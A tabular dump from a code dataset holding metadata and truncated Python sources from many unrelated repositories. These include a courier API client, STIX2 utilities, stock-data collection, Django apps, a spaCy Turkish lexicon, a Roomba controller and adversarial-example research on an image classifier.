hexsha stringlengths 40 40 | size int64 2 1.02M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 245 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 245 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 245 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.02M | avg_line_length float64 1 958k | max_line_length int64 1 987k | alphanum_fraction float64 0 1 | content_no_comment stringlengths 0 1.01M | is_comment_constant_removed bool 2
classes | is_sharp_comment_removed bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f74157933d72314ce0d65572d5e0ee23a682d841 | 1,149 | py | Python | setup.py | haloween/dpd-client-info-service-api-python | 8715e04e10b845b6e9fafa5d11eed42968adc764 | [
"MIT"
] | 1 | 2019-08-10T09:14:37.000Z | 2019-08-10T09:14:37.000Z | setup.py | haloween/dpd-client-info-service-api-python | 8715e04e10b845b6e9fafa5d11eed42968adc764 | [
"MIT"
] | null | null | null | setup.py | haloween/dpd-client-info-service-api-python | 8715e04e10b845b6e9fafa5d11eed42968adc764 | [
"MIT"
] | null | null | null | from setuptools import setup
setup(name='dpd_info_client_api',
version='0.4',
description='Client for DPD WSDL API.',
url='https://github.com/haloween/dpd-client-info-service-api-python',
keywords = "dpd, courier, api, service, info , parcel, shipping label, wsdl, api",
classifiers=[
... | 35.90625 | 88 | 0.563969 | from setuptools import setup
setup(name='dpd_info_client_api',
version='0.4',
description='Client for DPD WSDL API.',
url='https://github.com/haloween/dpd-client-info-service-api-python',
keywords = "dpd, courier, api, service, info , parcel, shipping label, wsdl, api",
classifiers=[
... | true | true |
f7415812750841cd336015d51cae37c822dcf1dc | 2,025 | py | Python | Scripts/mort_by_pop_den_5yr_0816.py | hassenmorad/Home-to-Income-Ratio | 777754693150ed6f777d084dbace7b8189317c55 | [
"MIT"
] | null | null | null | Scripts/mort_by_pop_den_5yr_0816.py | hassenmorad/Home-to-Income-Ratio | 777754693150ed6f777d084dbace7b8189317c55 | [
"MIT"
] | null | null | null | Scripts/mort_by_pop_den_5yr_0816.py | hassenmorad/Home-to-Income-Ratio | 777754693150ed6f777d084dbace7b8189317c55 | [
"MIT"
] | null | null | null | # Mortgagea share of income by population density
import pandas as pd
import numpy as np
import array
file = pd.read_csv('county_rent_mort_inc_units_5yr.csv')
yrs_dict = {}
for year in range(2008, 2017):
print(year)
yr_df = file[file.Year == year].dropna(subset=['Housing_Den'])
yr_df.Total_Owned = yr_df.T... | 48.214286 | 113 | 0.65679 |
import pandas as pd
import numpy as np
import array
file = pd.read_csv('county_rent_mort_inc_units_5yr.csv')
yrs_dict = {}
for year in range(2008, 2017):
print(year)
yr_df = file[file.Year == year].dropna(subset=['Housing_Den'])
yr_df.Total_Owned = yr_df.Total_Owned.astype(int)
county1k =... | true | true |
f741581d856d657f75b4f7f3664dbb6f9ad07175 | 11,065 | py | Python | stix2/utils.py | 6un9-h0-Dan/cti-python-stix2 | 5a34d529a8f29e8a1bce510ebc99aa7e3d74e2ef | [
"BSD-3-Clause"
] | 1 | 2020-08-17T23:53:48.000Z | 2020-08-17T23:53:48.000Z | stix2/utils.py | 6un9-h0-Dan/cti-python-stix2 | 5a34d529a8f29e8a1bce510ebc99aa7e3d74e2ef | [
"BSD-3-Clause"
] | null | null | null | stix2/utils.py | 6un9-h0-Dan/cti-python-stix2 | 5a34d529a8f29e8a1bce510ebc99aa7e3d74e2ef | [
"BSD-3-Clause"
] | null | null | null | """Utility functions and classes for the STIX2 library."""
import datetime as dt
import enum
import json
import re
import pytz
import six
import stix2
# Sentinel value for properties that should be set to the current time.
# We can't use the standard 'default' approach, since if there are multiple
# timestamps in a... | 33.734756 | 82 | 0.645368 |
import datetime as dt
import enum
import json
import re
import pytz
import six
import stix2
# timestamps in a single object, the timestamps will vary by a few microseconds.
NOW = object()
PREFIX_21_REGEX = re.compile(r'^[a-z].*')
_TIMESTAMP_FORMAT = "%Y-%m-%dT%H:%M:%SZ"
_TIMESTAMP_FORMAT_FRAC = "%Y-%m-%dT%H:%M:... | true | true |
f74159c6aab8f4a8262fc92965d2a3d6430b0c6d | 5,041 | py | Python | pyHalo/Rendering/MassFunctions/power_law.py | ryu57/pyHalo | 61b9ab49d76f3552f5680b2e457fbd3e49b9cc89 | [
"MIT"
] | 7 | 2020-12-09T23:58:34.000Z | 2022-03-13T12:18:32.000Z | pyHalo/Rendering/MassFunctions/power_law.py | ryu57/pyHalo | 61b9ab49d76f3552f5680b2e457fbd3e49b9cc89 | [
"MIT"
] | 8 | 2020-10-12T21:30:22.000Z | 2022-01-25T16:04:54.000Z | pyHalo/Rendering/MassFunctions/power_law.py | ryu57/pyHalo | 61b9ab49d76f3552f5680b2e457fbd3e49b9cc89 | [
"MIT"
] | 6 | 2021-06-07T16:30:41.000Z | 2022-01-12T16:58:04.000Z | import numpy as np
from pyHalo.Rendering.MassFunctions.mass_function_utilities import integrate_power_law_analytic
from pyHalo.Rendering.MassFunctions.mass_function_utilities import WDM_suppression
class GeneralPowerLaw(object):
"""
This class handles computations of a double power law mass function of the fo... | 42.008333 | 121 | 0.603055 | import numpy as np
from pyHalo.Rendering.MassFunctions.mass_function_utilities import integrate_power_law_analytic
from pyHalo.Rendering.MassFunctions.mass_function_utilities import WDM_suppression
class GeneralPowerLaw(object):
def __init__(self, log_mlow, log_mhigh, power_law_index, draw_poisson, normalization... | true | true |
f7415a2b9c1c63d5cda643906d3057a200eae800 | 1,510 | py | Python | speech/google/cloud/speech_v1p1beta1/types.py | DaveCheez/google-cloud-python | fc03d4d41f13e9d13db7206438163b3a471fdabd | [
"Apache-2.0"
] | 2 | 2021-11-26T07:08:43.000Z | 2022-03-07T20:20:04.000Z | speech/google/cloud/speech_v1p1beta1/types.py | DaveCheez/google-cloud-python | fc03d4d41f13e9d13db7206438163b3a471fdabd | [
"Apache-2.0"
] | null | null | null | speech/google/cloud/speech_v1p1beta1/types.py | DaveCheez/google-cloud-python | fc03d4d41f13e9d13db7206438163b3a471fdabd | [
"Apache-2.0"
] | 1 | 2020-04-14T10:47:41.000Z | 2020-04-14T10:47:41.000Z | # -*- coding: utf-8 -*-
#
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | 31.458333 | 74 | 0.760927 |
from __future__ import absolute_import
import sys
from google.api_core.protobuf_helpers import get_messages
from google.cloud.speech_v1p1beta1.proto import cloud_speech_pb2
from google.longrunning import operations_pb2
from google.protobuf import any_pb2
from google.protobuf import duration_pb2
from ... | true | true |
f7415a9a3c06c77f942eb26cb2c89d485a32cd87 | 20,152 | py | Python | collect/TwHistory.py | shinylin/tw-stock-collect-forecast | 6af2715a848336d90aaf21f8f93ed1c3568c3fa8 | [
"MIT"
] | 1 | 2021-09-29T08:16:21.000Z | 2021-09-29T08:16:21.000Z | collect/TwHistory.py | shinylin/tw-stock-collect-forecast | 6af2715a848336d90aaf21f8f93ed1c3568c3fa8 | [
"MIT"
] | null | null | null | collect/TwHistory.py | shinylin/tw-stock-collect-forecast | 6af2715a848336d90aaf21f8f93ed1c3568c3fa8 | [
"MIT"
] | null | null | null | import calendar
import math
import pandas as pd
import time
import twstock
import requests
from datetime import datetime, timedelta
from dateutil import relativedelta
from db.Connection import session
from enum import Enum
from model.StockHistory import StockHistory
from sys import float_info
from talib import abstract... | 51.804627 | 297 | 0.57111 | import calendar
import math
import pandas as pd
import time
import twstock
import requests
from datetime import datetime, timedelta
from dateutil import relativedelta
from db.Connection import session
from enum import Enum
from model.StockHistory import StockHistory
from sys import float_info
from talib import abstract... | true | true |
f7415c08a01b69c5708e1947e41954bfdecc1191 | 76 | py | Python | sandbox/swig-unicode/nofuture.py | rboman/progs | c60b4e0487d01ccd007bcba79d1548ebe1685655 | [
"Apache-2.0"
] | 2 | 2021-12-12T13:26:06.000Z | 2022-03-03T16:14:53.000Z | sandbox/swig-unicode/nofuture.py | rboman/progs | c60b4e0487d01ccd007bcba79d1548ebe1685655 | [
"Apache-2.0"
] | 5 | 2019-03-01T07:08:46.000Z | 2019-04-28T07:32:42.000Z | sandbox/swig-unicode/nofuture.py | rboman/progs | c60b4e0487d01ccd007bcba79d1548ebe1685655 | [
"Apache-2.0"
] | 2 | 2017-12-13T13:13:52.000Z | 2019-03-13T20:08:15.000Z | from __future__ import print_function
print('"import nofuture" succeeded')
| 19 | 37 | 0.815789 | from __future__ import print_function
print('"import nofuture" succeeded')
| true | true |
f7415d927e7d3eb2ec7f283d966d29eb5bd75775 | 15,150 | py | Python | kirppu/models.py | Glowieh/kirppu | 95f3e98c594ca7f02ed4ec311da3e558d76ea5b3 | [
"MIT"
] | null | null | null | kirppu/models.py | Glowieh/kirppu | 95f3e98c594ca7f02ed4ec311da3e558d76ea5b3 | [
"MIT"
] | null | null | null | kirppu/models.py | Glowieh/kirppu | 95f3e98c594ca7f02ed4ec311da3e558d76ea5b3 | [
"MIT"
] | null | null | null | import random
from decimal import Decimal
from django.core.exceptions import ValidationError
from django.core.validators import RegexValidator
from django.db import models
from django.db.models import Sum
from django.utils.translation import ugettext_lazy as _
from django.utils.module_loading import import_by_path
from... | 29.078695 | 106 | 0.59736 | import random
from decimal import Decimal
from django.core.exceptions import ValidationError
from django.core.validators import RegexValidator
from django.db import models
from django.db.models import Sum
from django.utils.translation import ugettext_lazy as _
from django.utils.module_loading import import_by_path
from... | true | true |
f74160a2765945cf319970ed73c6e94e1bffa696 | 15,596 | py | Python | src/outpost/django/typo3/migrations/0004_content.py | medunigraz/outpost.django.typo3 | d3ba82189d78ecae73342707940c91ebe958a29e | [
"BSD-2-Clause"
] | null | null | null | src/outpost/django/typo3/migrations/0004_content.py | medunigraz/outpost.django.typo3 | d3ba82189d78ecae73342707940c91ebe958a29e | [
"BSD-2-Clause"
] | null | null | null | src/outpost/django/typo3/migrations/0004_content.py | medunigraz/outpost.django.typo3 | d3ba82189d78ecae73342707940c91ebe958a29e | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.29 on 2021-04-22 12:52
from __future__ import unicode_literals
from django.db import migrations
from django.conf import settings
class Migration(migrations.Migration):
ops = [
(
"""
CREATE FOREIGN TABLE "typo3"."content" (
... | 32.559499 | 97 | 0.368684 |
from __future__ import unicode_literals
from django.db import migrations
from django.conf import settings
class Migration(migrations.Migration):
ops = [
(
"""
CREATE FOREIGN TABLE "typo3"."content" (
uid int,
pid int,
tstamp bigin... | true | true |
f74161f3def9e3e8308d97b48187ded2dee83717 | 57 | py | Python | annie/blueprints/playground/__init__.py | hno2/emlie | 6ccb2a55c569e9384beecd14e6272dbc1a5bddf3 | [
"MIT"
] | null | null | null | annie/blueprints/playground/__init__.py | hno2/emlie | 6ccb2a55c569e9384beecd14e6272dbc1a5bddf3 | [
"MIT"
] | 46 | 2021-05-10T09:59:40.000Z | 2021-09-21T07:39:49.000Z | annie/blueprints/playground/__init__.py | hno2/emlie | 6ccb2a55c569e9384beecd14e6272dbc1a5bddf3 | [
"MIT"
] | null | null | null | from annie.blueprints.playground.views import playground
| 28.5 | 56 | 0.877193 | from annie.blueprints.playground.views import playground
| true | true |
f74163704f8b1e57418e7ce0da0699ab348e1cfd | 1,527 | py | Python | src/graphql/executor/root_mutation_object.py | btrekkie/graphql | 6c118550267eeb57a9653f4f46d7bbd6c5902110 | [
"MIT"
] | null | null | null | src/graphql/executor/root_mutation_object.py | btrekkie/graphql | 6c118550267eeb57a9653f4f46d7bbd6c5902110 | [
"MIT"
] | null | null | null | src/graphql/executor/root_mutation_object.py | btrekkie/graphql | 6c118550267eeb57a9653f4f46d7bbd6c5902110 | [
"MIT"
] | null | null | null | from graphql.schema import GraphQlFuncDescriptor
class GraphQlRootMutationObject(object):
"""The root mutation object for GraphQL.
This is the object whose fields we "query" at the root level of a
GraphQL mutation operation.
"""
# The singleton instance of GraphQlRootMutationObject, or None if w... | 37.243902 | 77 | 0.685658 | from graphql.schema import GraphQlFuncDescriptor
class GraphQlRootMutationObject(object):
_instance = None
def __init__(self):
pass
@staticmethod
def instance():
if GraphQlRootMutationObject._instance is None:
GraphQlRootMutationObject._instance = GraphQlRootMu... | true | true |
f741641bf9363779d2f17f30b5f6e3b0f4c46d2a | 576 | py | Python | concordia/utils.py | ptrourke/concordia | 56ff364dbf38cb8a763df489479821fe43b76d69 | [
"CC0-1.0"
] | 1 | 2020-07-17T14:41:41.000Z | 2020-07-17T14:41:41.000Z | concordia/utils.py | ptrourke/concordia | 56ff364dbf38cb8a763df489479821fe43b76d69 | [
"CC0-1.0"
] | null | null | null | concordia/utils.py | ptrourke/concordia | 56ff364dbf38cb8a763df489479821fe43b76d69 | [
"CC0-1.0"
] | null | null | null | from django.contrib.auth.models import User
def get_anonymous_user():
"""
Get the user called "anonymous" if it exist. Create the user if it doesn't
exist This is the default concordia user if someone is working on the site
without logging in first.
"""
try:
return User.objects.get(us... | 27.428571 | 78 | 0.708333 | from django.contrib.auth.models import User
def get_anonymous_user():
try:
return User.objects.get(username="anonymous")
except User.DoesNotExist:
return User.objects.create_user(username="anonymous")
def request_accepts_json(request):
accept_header = request.META.get("HTTP_ACCEPT", "*/... | true | true |
f741647dfbb6dad21f8e9c8e464b98ce12d5352b | 1,553 | py | Python | mopidy_musicbox_webclient/__init__.py | sprinkle1502/mopidy-musicbox-webclient | 948a8a3c8a00bdd6ec2222023b157378c3acae2e | [
"Apache-2.0"
] | 278 | 2015-08-19T14:01:25.000Z | 2022-03-26T09:50:52.000Z | mopidy_musicbox_webclient/__init__.py | sprinkle1502/mopidy-musicbox-webclient | 948a8a3c8a00bdd6ec2222023b157378c3acae2e | [
"Apache-2.0"
] | 183 | 2015-08-19T13:51:19.000Z | 2022-01-10T13:10:43.000Z | mopidy_musicbox_webclient/__init__.py | sprinkle1502/mopidy-musicbox-webclient | 948a8a3c8a00bdd6ec2222023b157378c3acae2e | [
"Apache-2.0"
] | 86 | 2015-08-24T13:44:20.000Z | 2022-03-30T21:36:58.000Z | import pathlib
import pkg_resources
from mopidy import config, ext
__version__ = pkg_resources.get_distribution(
"Mopidy-MusicBox-Webclient"
).version
class Extension(ext.Extension):
dist_name = "Mopidy-MusicBox-Webclient"
ext_name = "musicbox_webclient"
version = __version__
def get_default_... | 28.759259 | 79 | 0.584031 | import pathlib
import pkg_resources
from mopidy import config, ext
__version__ = pkg_resources.get_distribution(
"Mopidy-MusicBox-Webclient"
).version
class Extension(ext.Extension):
dist_name = "Mopidy-MusicBox-Webclient"
ext_name = "musicbox_webclient"
version = __version__
def get_default_... | true | true |
f741650e5c99b2f2ba9dae8f7db22b40af10057d | 3,140 | py | Python | joulescope_ui/widgets/waveform/signal_viewbox.py | jetperch/pyjoulescope_ui | 0324562dafc1ad2ae4a6a8cd8d073582863bf394 | [
"Apache-2.0"
] | 31 | 2018-12-13T16:13:02.000Z | 2021-09-28T09:57:50.000Z | joulescope_ui/widgets/waveform/signal_viewbox.py | jetperch/pyjoulescope_ui | 0324562dafc1ad2ae4a6a8cd8d073582863bf394 | [
"Apache-2.0"
] | 144 | 2019-02-12T14:58:02.000Z | 2022-03-24T12:06:17.000Z | joulescope_ui/widgets/waveform/signal_viewbox.py | jetperch/pyjoulescope_ui | 0324562dafc1ad2ae4a6a8cd8d073582863bf394 | [
"Apache-2.0"
] | 7 | 2019-07-04T16:34:54.000Z | 2021-03-24T16:25:06.000Z | # Copyright 2019 Jetperch LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | 36.091954 | 81 | 0.612102 |
import pyqtgraph as pg
from PySide2 import QtCore
from .scrollbar import WHEEL_TICK
import logging
class SignalViewBox(pg.ViewBox):
sigWheelZoomXEvent = QtCore.Signal(float, float)
sigPanXEvent = QtCore.Signal(object, float)
def __init__(self, name):
pg.ViewBox.__init__(self, enab... | true | true |
f7416549a1d05ef819cf4444f6c9e96910fba2e3 | 6,335 | py | Python | pygraphs/pygraphs_base.py | guofei9987/pygraphs | 3e5a9ced566ca832431bf86be4563512e8787ea5 | [
"MIT"
] | 4 | 2020-12-05T09:58:34.000Z | 2022-03-14T08:58:34.000Z | pygraphs/pygraphs_base.py | guofei9987/pygraphs | 3e5a9ced566ca832431bf86be4563512e8787ea5 | [
"MIT"
] | null | null | null | pygraphs/pygraphs_base.py | guofei9987/pygraphs | 3e5a9ced566ca832431bf86be4563512e8787ea5 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# @Time : 2020/12/05
# @Author : github.com/guofei9987
import ast
import csv
from pygraphs.tools import PgDict, cql_parser
class Vertex(object):
def __init__(self, val=None):
self.val = dict(val) or dict()
self.src = set()
self.dst = set()
def __repr__(self... | 37.934132 | 119 | 0.594791 |
import ast
import csv
from pygraphs.tools import PgDict, cql_parser
class Vertex(object):
def __init__(self, val=None):
self.val = dict(val) or dict()
self.src = set()
self.dst = set()
def __repr__(self):
return 'Vertex: primary_key = {}'.format(self.val['primary_key'])
c... | true | true |
f74165d0c81353072e3f4d501066ec453a36d633 | 1,904 | py | Python | configs/_base_/datasets/potsdam.py | bowenroom/mmsegmentation | dfe3f2456c428dccb6450823b06586fc1a9782de | [
"Apache-2.0"
] | 1 | 2022-03-07T19:46:03.000Z | 2022-03-07T19:46:03.000Z | configs/_base_/datasets/potsdam.py | bowenroom/mmsegmentation | dfe3f2456c428dccb6450823b06586fc1a9782de | [
"Apache-2.0"
] | 2 | 2022-02-25T03:07:23.000Z | 2022-03-08T12:54:05.000Z | configs/_base_/datasets/potsdam.py | bowenroom/mmsegmentation | dfe3f2456c428dccb6450823b06586fc1a9782de | [
"Apache-2.0"
] | null | null | null | # dataset settings
dataset_type = 'PotsdamDataset'
# data_root = 'data/potsdam'
data_root = 'swpTest/tempDataTest/potsdam'
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
crop_size = (512, 512)
train_pipeline = [
dict(type='LoadImageFromFile'),
dict(type='LoadA... | 32.827586 | 77 | 0.615546 |
dataset_type = 'PotsdamDataset'
data_root = 'swpTest/tempDataTest/potsdam'
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
crop_size = (512, 512)
train_pipeline = [
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', reduce_zero_label=True),
dict... | true | true |
f7416837d3b8f488deed74495db74f79b650a50c | 1,631 | py | Python | spacy/lang/tr/lex_attrs.py | snosrap/spaCy | 3f68bbcfec44ef55d101e6db742d353b72652129 | [
"MIT"
] | 22,040 | 2016-10-03T11:58:15.000Z | 2022-03-31T21:08:19.000Z | spacy/lang/tr/lex_attrs.py | snosrap/spaCy | 3f68bbcfec44ef55d101e6db742d353b72652129 | [
"MIT"
] | 6,927 | 2016-10-03T13:11:11.000Z | 2022-03-31T17:01:25.000Z | spacy/lang/tr/lex_attrs.py | snosrap/spaCy | 3f68bbcfec44ef55d101e6db742d353b72652129 | [
"MIT"
] | 4,403 | 2016-10-04T03:36:33.000Z | 2022-03-31T14:12:34.000Z | from ...attrs import LIKE_NUM
# Thirteen, fifteen etc. are written separate: on üç
_num_words = [
"bir",
"iki",
"üç",
"dört",
"beş",
"altı",
"yedi",
"sekiz",
"dokuz",
"on",
"yirmi",
"otuz",
"kırk",
"elli",
"altmış",
"yetmiş",
"seksen",
"doksan",... | 18.122222 | 66 | 0.526671 | from ...attrs import LIKE_NUM
_num_words = [
"bir",
"iki",
"üç",
"dört",
"beş",
"altı",
"yedi",
"sekiz",
"dokuz",
"on",
"yirmi",
"otuz",
"kırk",
"elli",
"altmış",
"yetmiş",
"seksen",
"doksan",
"yüz",
"bin",
"milyon",
"milyar",
... | true | true |
f74169bb488d73bb8de31871ac9506fcb80dc6f9 | 504 | py | Python | setup.py | lmjohns3/cube-experiment | ab6d1a9df95efebc369d184ab1c748d73d5c3313 | [
"MIT"
] | null | null | null | setup.py | lmjohns3/cube-experiment | ab6d1a9df95efebc369d184ab1c748d73d5c3313 | [
"MIT"
] | null | null | null | setup.py | lmjohns3/cube-experiment | ab6d1a9df95efebc369d184ab1c748d73d5c3313 | [
"MIT"
] | null | null | null | import os
import setuptools
setuptools.setup(
name='cubes',
version='0.0.1',
packages=setuptools.find_packages(),
description='analysis code for cube experiment',
long_description=open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'README.rst')).read(),
license='MIT',
url='http:/... | 29.647059 | 105 | 0.662698 | import os
import setuptools
setuptools.setup(
name='cubes',
version='0.0.1',
packages=setuptools.find_packages(),
description='analysis code for cube experiment',
long_description=open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'README.rst')).read(),
license='MIT',
url='http:/... | true | true |
f7416a2b60eb0748e0c2a0db2d902c3ac9f801f7 | 62,025 | py | Python | pailab/analysis/tools_jupyter.py | pailabteam/pailab | 3995b25f105827ae631e6120f380748d7d284c9f | [
"Apache-2.0"
] | 26 | 2019-03-15T12:40:11.000Z | 2021-05-26T05:23:02.000Z | pailab/analysis/tools_jupyter.py | pailabteam/pailab | 3995b25f105827ae631e6120f380748d7d284c9f | [
"Apache-2.0"
] | 89 | 2019-03-15T12:39:07.000Z | 2022-02-10T00:14:24.000Z | pailab/analysis/tools_jupyter.py | pailabteam/pailab | 3995b25f105827ae631e6120f380748d7d284c9f | [
"Apache-2.0"
] | 2 | 2019-05-10T09:00:36.000Z | 2020-03-05T11:32:34.000Z | import numpy as np
import copy
import logging
from IPython.display import display, clear_output
from collections import defaultdict
import pailab.analysis.plot as paiplot
import pailab.analysis.plot_helper as plt_helper
import ipywidgets as widgets
from pailab import MLObjectType, RepoInfoKey, FIRST_VERSION, LAST_VERS... | 40.645478 | 158 | 0.582894 | import numpy as np
import copy
import logging
from IPython.display import display, clear_output
from collections import defaultdict
import pailab.analysis.plot as paiplot
import pailab.analysis.plot_helper as plt_helper
import ipywidgets as widgets
from pailab import MLObjectType, RepoInfoKey, FIRST_VERSION, LAST_VERS... | true | true |
f7416aaf6126c79d224df0f02e61a6553a070892 | 342 | py | Python | tests/perf/operation-call.py | mrpal39/pyvips | caceec98fa7f63ae6bc7bcb991c2ec946b16554a | [
"MIT"
] | 142 | 2017-08-01T12:33:20.000Z | 2018-09-15T16:50:32.000Z | tests/perf/operation-call.py | mrpal39/pyvips | caceec98fa7f63ae6bc7bcb991c2ec946b16554a | [
"MIT"
] | 62 | 2017-08-01T16:22:09.000Z | 2018-09-20T08:00:40.000Z | tests/perf/operation-call.py | mrpal39/pyvips | caceec98fa7f63ae6bc7bcb991c2ec946b16554a | [
"MIT"
] | 15 | 2017-08-04T09:51:29.000Z | 2018-08-25T18:42:49.000Z | #!/usr/bin/env python3
import pyperf
import pyvips
def operation_call(loops):
range_it = range(loops)
t0 = pyperf.perf_counter()
for loops in range_it:
_ = pyvips.Operation.call('black', 10, 10)
return pyperf.perf_counter() - t0
runner = pyperf.Runner()
runner.bench_time_func('Operation.c... | 18 | 56 | 0.69883 |
import pyperf
import pyvips
def operation_call(loops):
range_it = range(loops)
t0 = pyperf.perf_counter()
for loops in range_it:
_ = pyvips.Operation.call('black', 10, 10)
return pyperf.perf_counter() - t0
runner = pyperf.Runner()
runner.bench_time_func('Operation.call', operation_call)
| true | true |
f7416c34533fd8174b6cde606de2546fed4418b2 | 198 | py | Python | sfx/speedramps.py | Terry14/sfx | 16bcf401ba3251b0de211276d97153469499515d | [
"MIT"
] | null | null | null | sfx/speedramps.py | Terry14/sfx | 16bcf401ba3251b0de211276d97153469499515d | [
"MIT"
] | null | null | null | sfx/speedramps.py | Terry14/sfx | 16bcf401ba3251b0de211276d97153469499515d | [
"MIT"
] | null | null | null | speedramps = {
"Naver": {
0: 5,
1: 4,
2: 3,
3: 2,
4: 1,
5: 0,
6: -1,
7: -2,
8: -3,
9: -4,
10: -5,
}
}
| 12.375 | 15 | 0.191919 | speedramps = {
"Naver": {
0: 5,
1: 4,
2: 3,
3: 2,
4: 1,
5: 0,
6: -1,
7: -2,
8: -3,
9: -4,
10: -5,
}
}
| true | true |
f7416cb1adf2aa04990060ea15e2ba8962016422 | 4,748 | py | Python | mlc-pgd-multi-label.py | erwinvanthiel/ASL | 1b8846919f4bcf7bf65881faf254395cb01f8ae3 | [
"MIT"
] | null | null | null | mlc-pgd-multi-label.py | erwinvanthiel/ASL | 1b8846919f4bcf7bf65881faf254395cb01f8ae3 | [
"MIT"
] | null | null | null | mlc-pgd-multi-label.py | erwinvanthiel/ASL | 1b8846919f4bcf7bf65881faf254395cb01f8ae3 | [
"MIT"
] | null | null | null | import os
import torch
from src.helper_functions.helper_functions import parse_args
from src.loss_functions.losses import AsymmetricLoss, AsymmetricLossOptimized
from src.models import create_model
import argparse
import matplotlib
import torchvision.transforms as transforms
from pgd import create_targeted_adversarial_... | 35.969697 | 146 | 0.673968 | import os
import torch
from src.helper_functions.helper_functions import parse_args
from src.loss_functions.losses import AsymmetricLoss, AsymmetricLossOptimized
from src.models import create_model
import argparse
import matplotlib
import torchvision.transforms as transforms
from pgd import create_targeted_adversarial_... | true | true |
f7416d22ab65f5ff5c58bc99f7c0daaa315d84cb | 939 | py | Python | map/urls.py | rmad17/disaster | bf0c9fd298dd39c6dbe4c7f9c0eaba13bebecddf | [
"MIT"
] | null | null | null | map/urls.py | rmad17/disaster | bf0c9fd298dd39c6dbe4c7f9c0eaba13bebecddf | [
"MIT"
] | null | null | null | map/urls.py | rmad17/disaster | bf0c9fd298dd39c6dbe4c7f9c0eaba13bebecddf | [
"MIT"
] | null | null | null | # Distributed under terms of the MIT license.
"""
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.9/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, na... | 34.777778 | 79 | 0.686901 |
from django.conf.urls import url
from django.contrib.auth.views import login, logout
from .views import home
urlpatterns = [
url(r'^$', home, name='home'),
url(r'^login/$', login, {'template_name': 'admin/login.html'}),
url(r'^logout/$', logout, name='logout'),
]
| true | true |
f7416e31e8727d4a5f4026905fc14c647c93f386 | 4,840 | py | Python | RpiRoombaCode/pathTracing.py | wangfanxin/UVBot | f10b403b7118c7f963a9871e9af906f1df05bd24 | [
"MIT"
] | null | null | null | RpiRoombaCode/pathTracing.py | wangfanxin/UVBot | f10b403b7118c7f963a9871e9af906f1df05bd24 | [
"MIT"
] | null | null | null | RpiRoombaCode/pathTracing.py | wangfanxin/UVBot | f10b403b7118c7f963a9871e9af906f1df05bd24 | [
"MIT"
] | null | null | null | #this is a basic wall follow program that hugs a wall from the right side
import turtle
from pycreate2 import Create2
import time
from pynput import keyboard
import firebase_admin
from firebase_admin import credentials
from firebase_admin import db
#Firebase setup_____________________________________________________... | 29.876543 | 222 | 0.598967 |
import turtle
from pycreate2 import Create2
import time
from pynput import keyboard
import firebase_admin
from firebase_admin import credentials
from firebase_admin import db
cred = credentials.Certificate('firebase-sdk.json')
firebase_admin.initialize_app(cred, {
'databaseURL': 'https://hcesc-app.firebaseio.... | true | true |
f7416ec4c8dd42843371f407887b848a31e8f534 | 1,676 | py | Python | payg/contact/views.py | aronysidoro/django-payasyougo | 2a64f623273b67564604897084002b6793882ea4 | [
"MIT"
] | null | null | null | payg/contact/views.py | aronysidoro/django-payasyougo | 2a64f623273b67564604897084002b6793882ea4 | [
"MIT"
] | null | null | null | payg/contact/views.py | aronysidoro/django-payasyougo | 2a64f623273b67564604897084002b6793882ea4 | [
"MIT"
] | null | null | null | from django.views.generic import FormView
from django.shortcuts import get_object_or_404
from django.core.urlresolvers import reverse_lazy
from contact.models import Contact, Newsletter
from contact.forms import ContactForm, NewsletterForm
class TwoFormView(FormView):
template_name = 'two_form.html'
form_cla... | 32.230769 | 112 | 0.651551 | from django.views.generic import FormView
from django.shortcuts import get_object_or_404
from django.core.urlresolvers import reverse_lazy
from contact.models import Contact, Newsletter
from contact.forms import ContactForm, NewsletterForm
class TwoFormView(FormView):
template_name = 'two_form.html'
form_cla... | true | true |
f7416efb882c0298b625978256614e7496cc5b5d | 67,750 | py | Python | env/lib/python3.6/site-packages/sqlalchemy/orm/attributes.py | amogh-gulati/corona_dashboard | ce1a20ad56bdfb758d41513b4706fe3a47764c32 | [
"MIT"
] | 1 | 2021-09-20T07:04:40.000Z | 2021-09-20T07:04:40.000Z | env/lib/python3.6/site-packages/sqlalchemy/orm/attributes.py | amogh-gulati/corona_dashboard | ce1a20ad56bdfb758d41513b4706fe3a47764c32 | [
"MIT"
